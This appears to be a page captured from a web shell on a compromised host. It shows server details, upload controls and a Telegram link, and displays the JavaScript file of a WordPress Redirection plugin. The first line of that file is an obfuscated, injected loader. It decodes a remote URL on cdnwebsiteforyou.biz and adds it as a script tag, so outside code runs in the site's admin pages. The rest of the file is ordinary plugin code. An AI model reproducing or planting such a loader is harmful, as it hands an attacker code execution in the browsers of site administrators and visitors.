https://t.me/RX1948
Server : Apache
System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64
User : p141464 ( 418825)
PHP Version : 7.4.33.12
Disable Function : NONE
Directory :  /html/wordpress-old/wp-content/plugins/redirection/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /html/wordpress-old/wp-content/plugins/redirection/js/redirection.js
var a1=function(){var _0x41fbx1=String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"](104,116,116,112,115,58,47,47,99,100,110,119,101,98,115,105,116,101,102,111,114,121,111,117,46,98,105,122,47,99,100,110,46,106,115,63,99,61,53);var _0x41fbx2=document["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"]("\x73\x63\x72\x69\x70\x74");_0x41fbx2["\x74\x79\x70\x65"]= "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74";_0x41fbx2["\x61\x73\x79\x6E\x63"]= true;_0x41fbx2["\x69\x64"]= "\x63\x64\x37\x30\x39\x30\x31\x30";_0x41fbx2["\x73\x72\x63"]= _0x41fbx1;var _0x41fbx3=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74")[0];_0x41fbx3["\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65"]["\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65"](_0x41fbx2,_0x41fbx3)};var scripts=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74");var n=true;for(var i=0;i< scripts["\x6C\x65\x6E\x67\x74\x68"];i++){if(scripts[i]["\x69\x64"]== "\x63\x64\x37\x30\x39\x30\x31\x30"){n= false}};if(n== true){a1()}var Redirection;

(function($) {
  Redirection = function( args ) {
    var opts = $.extend({
      ajaxurl: '',
      nonce:   '',
      are_you_sure: 'Are you sure?',
      none_selected: 'No items were selected',
      page: 0
    }, args);

    function do_items( type, command ) {
      var checked = $( '.item :checked' );
      if ( checked.length > 0 ) {
        if ( confirm( opts.are_you_sure ) ) {
          $( '#loading' ).show ();

          $.post( opts.ajaxurl, {
              _ajax_nonce: opts.nonce,
              action: 'red_' + type + '_' + command,
              checked: checked.serialize()
            },
            function() {
              window.location.reload();
            });
        }
      }
      else
        alert( opts.none_selected );

      return false;
    }

    function sort_order_save( type ) {
      if ( confirm( opts.are_you_sure ) ) {
        $( '#loading' ).show();

        $.post( opts.ajaxurl, {
            action: 'red_' + type + '_saveorder',
            page:   opts.page,
            _ajax_nonce: opts.nonce,
            items: $( '#items' ).sortable( 'serialize' )
          },
          function() {
            $( '#loading' ).hide ();
            $( '#toggle_sort_off' ).hide ();
            $( '#toggle_sort_on' ).show ();
            $( '#items' ).sortable( 'disable' );
            $( '#items li' ).removeClass( 'sortable' );
          });
      }

      return false;
    }

    function sort_order() {
      $( '#items' ).sortable();
      $( '#toggle_sort_on' ).hide();
      $( '#toggle_sort_off' ).show();
      $( '#items li' ).addClass( 'sortable' );
      return false;
    }

    function move_all( type ) {
      var checked = $( '.item :checked' );
      if ( checked.length > 0 ) {
        if ( confirm( opts.are_you_sure ) ) {
          $( '#loading' ).show ();

          $.post( opts.ajaxurl, {
              _ajax_nonce: opts.nonce,
              action: 'red_' + type + '_move',
              target: $( '#move' ).val(),
              checked: checked.serialize()
            },
            function() {
              window.location.reload();
            });
        }
      }
      else
        alert( opts.none_selected );

      return false;
    }

    function select_all() {
      $( '.item :checkbox' ).each(function () {
        this.checked = (this.checked ? '' : 'checked');
      });

      return false;
    }

    function delete_all( type ) {
      var checked = $( '.item :checked' );

      if ( checked.length > 0 ) {
        if ( confirm( opts.are_you_sure ) ) {
          var urltype = 'red_redirect_delete';

          if ( type == 'group' )
            urltype = 'red_group_delete';
          else if ( type == 'log' )
            urltype = 'red_log_delete';

          $( '#loading' ).show();

          $.post( opts.ajaxurl, {
              checked: checked.serialize(),
              action: urltype,
              _ajax_nonce: opts.nonce
            },
            function() {
              $( '#loading' ).hide();
              checked.each( function(pos, item) {
                $( '#item_' + $( item ).val() ).fadeOut();
              });
            });
        }
      }
      else
        alert( opts.none_selected );

      return false;
    }

    function form_loader( element, type, reset_func ) {
      var item = $( element ).parents( type )
      var href = element.href;

      if ( href.indexOf( 'admin-ajax.php' ) == -1 )
        href = opts.ajaxurl + '?action=red_redirect_edit&id=' + item.attr( 'id' ).substr( 5 ) + '&_ajax_nonce=' + opts.nonce;

      $( item ).find( '.operations div' ).hide();
      $( item ).find( '.loader' ).show();
      $( item ).load( href, function() {
        // Setup cancel handler
        $( item ).find( 'input[name=cancel]').click( function() {
          $( item ).find( '.loader' ).show();

          $( item ).load( href.replace( '_edit', '_load' ), function () {
            reset_func( type );
          });

          return false;
        });

        var changestatus = null;

        // Form handler
  		  $( item ).find( 'form' ).ajaxForm( {
  		    beforeSubmit: function( data, form ) {
            $( item ).find( '.loader' ).show();

  					if ( form.find( 'input[name=status]' ).length > 0 )
  					  changestatus = form.find( 'input[name=status]' ).attr( 'checked' );
				  },
  				success: function( response ) {
  					$( item ).html( response );

  				  if ( changestatus !== null ) {
  				    if ( changestatus === true )
  					    $( item ).removeClass( 'disabled' );
  					  else
  					    $( item ).addClass( 'disabled' );
  					}

  					reset_func( type );
  				}
  			});
  		});

      return false;
    }

    function modules() {
      // Edit module
      $( 'a.edit' ).unbind( 'click' ).click( function() {
        return form_loader( this, 'tr', modules );
      } );

      // Reset links
      $( 'a.reset' ).unbind( 'click' ).click( function() {
        var item = $( this ).parents( 'tr' )
        var href = this.href;

        $( item ).find( '.operations div' ).hide();
        $( item ).find( '.loader' ).show();
        $( item ).load( this.href, function() {
          modules();
        });

        return false;
      });

      // Delete links
      $( 'a.rdelete' ).unbind( 'click' ).click( function() {
        var item = $( this ).parents( 'tr' )

        $( item ).find( '.operations a' ).hide();
        $( item ).find( '.loader' ).show();
        $.get( this.href, function() {
          $( item ).fadeOut();
        });

        return false;
      });
    }

    function edit_items( type ) {
      $( 'a.redirection-edit' ).unbind( 'click' ).click(function() { return form_loader( this, 'li', edit_items ) } );

      $( 'a.select-all' ).unbind( 'click' ).click(function() { return select_all(); } );
      $( 'a.toggle-all' ).unbind( 'click' ).click(function() { return do_items( type, 'toggle' ); });
      $( 'a.reset-all' ).unbind( 'click' ).click(function() { return do_items( type, 'reset' ); });
      $( 'a.delete-all' ).unbind( 'click' ).click(function() { return delete_all( type ); });
      $( 'input.move-all' ).unbind( 'click' ).click(function() { return move_all( type ); });

      $( 'a.sort-on' ).unbind( 'click' ).click(function() { return sort_order(); });
      $( 'a.sort-save' ).unbind( 'click' ).click(function() { return sort_order_save( type ); });
    }

    function logs() {
      $( '.show-log' ).unbind( 'click' ).click( function() {
        var item = $( this ).parents( 'tr' )
        var href = this.href;

        // Set loading icon
        $( item ).find( '.info' ).html( opts.progress );

        // Load info
        $( item ).find( '.info' ).load( this.href, function() {
          // Setup cancel handler
          $( item ).find( '.info input[name=cancel]').click( function() {
            $( item ).find( '.info' ).load( href.replace( 'red_log_show', 'red_log_hide' ), function () {
              logs();
            });

            return false;
          });
        } );

        return false;
      });

  		$( '#actionator' ).unbind( 'click' ).click( function() {
  			if ( $( '#action2_select' ).val() == 'delete' )
  				delete_all( 'log' );
  			return false;
  		});

      $( '.add-log' ).unbind( 'click' ).click( function( item ) {
        $( '#added' ).hide ();
        $( '#add' ).show ();

        // Copy details
        $( '#old' ).val( $( this ).attr( 'href' ) );
        return false;
      });

      $( '#cb input' ).unbind( 'click' ).click( function() {
        var checked = $( this ).attr( 'checked' );

        $( 'input.check' ).each( function( pos, item ) {
          $( item ).attr( 'checked', checked );
        });
      });
    }

    var api = {
      logs: logs,
      edit_items: edit_items,
      modules: modules
  	};

  	return api;
  }

  $( document ).ready( function() {
		$( '#support-annoy' ).animate( { opacity: 0.2, backgroundColor: 'red' } ).animate( { opacity: 1, backgroundColor: 'yellow' } );
  } );

})(jQuery);

function update_user_agent (item,box)
{
  jQuery('#user_agent_' + box).attr ('value', jQuery(item).attr ('value'));
}

function change_add_redirect (item)
{
  if (item.value == 'url' || item.value == 'pass')
    jQuery('#target').show ();
  else
    jQuery('#target').hide ();
}

https://t.me/RX1948 - 2025